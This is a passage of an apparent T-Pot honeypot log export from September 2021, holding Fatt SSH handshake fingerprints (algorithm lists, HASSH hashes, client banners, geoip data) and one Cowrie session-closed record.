"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7174, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.124215", "@timestamp": "2021-09-20T11:06:16.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20722	42.192.44.134	109.199.241.180	Fatt	2021-09-20 14:06:16.210513+03	2021-09-20 14:15:02.736612+03	{"_id": "qwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.192.44.134", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36458, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.210513", "@timestamp": "2021-09-20T11:06:16.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20723	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:16.460386+03	2021-09-20 14:15:02.737612+03	{"_id": "rAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57298, "timestamp": "2021-09-20T11:06:16.460386", "@timestamp": "2021-09-20T11:06:16.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20724	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:16.460954+03	2021-09-20 14:15:02.738613+03	{"_id": "rQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57298, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.460954", "@timestamp": "2021-09-20T11:06:16.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20725	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:16.493317+03	2021-09-20 14:15:02.740614+03	{"_id": "rgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42670, "timestamp": "2021-09-20T11:06:16.493317", "@timestamp": "2021-09-20T11:06:16.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20726	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:16.587857+03	2021-09-20 14:15:02.741613+03	{"_id": "rwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58448, "timestamp": "2021-09-20T11:06:16.587857", "@timestamp": "2021-09-20T11:06:16.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20727	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:16.630854+03	2021-09-20 14:15:02.742612+03	{"_id": "sAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58448, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.630854", "@timestamp": "2021-09-20T11:06:16.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20738	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:16.281521+03	2021-09-20 14:15:02.757614+03	{"_id": "uwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "8a9a673fb643", "@version": "1", "duration": 5.561486721038818, "timestamp": "2021-09-20T11:06:16.281521Z", "@timestamp": "2021-09-20T11:06:16.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20728	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:16.766452+03	2021-09-20 14:15:02.743614+03	{"_id": "sQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": 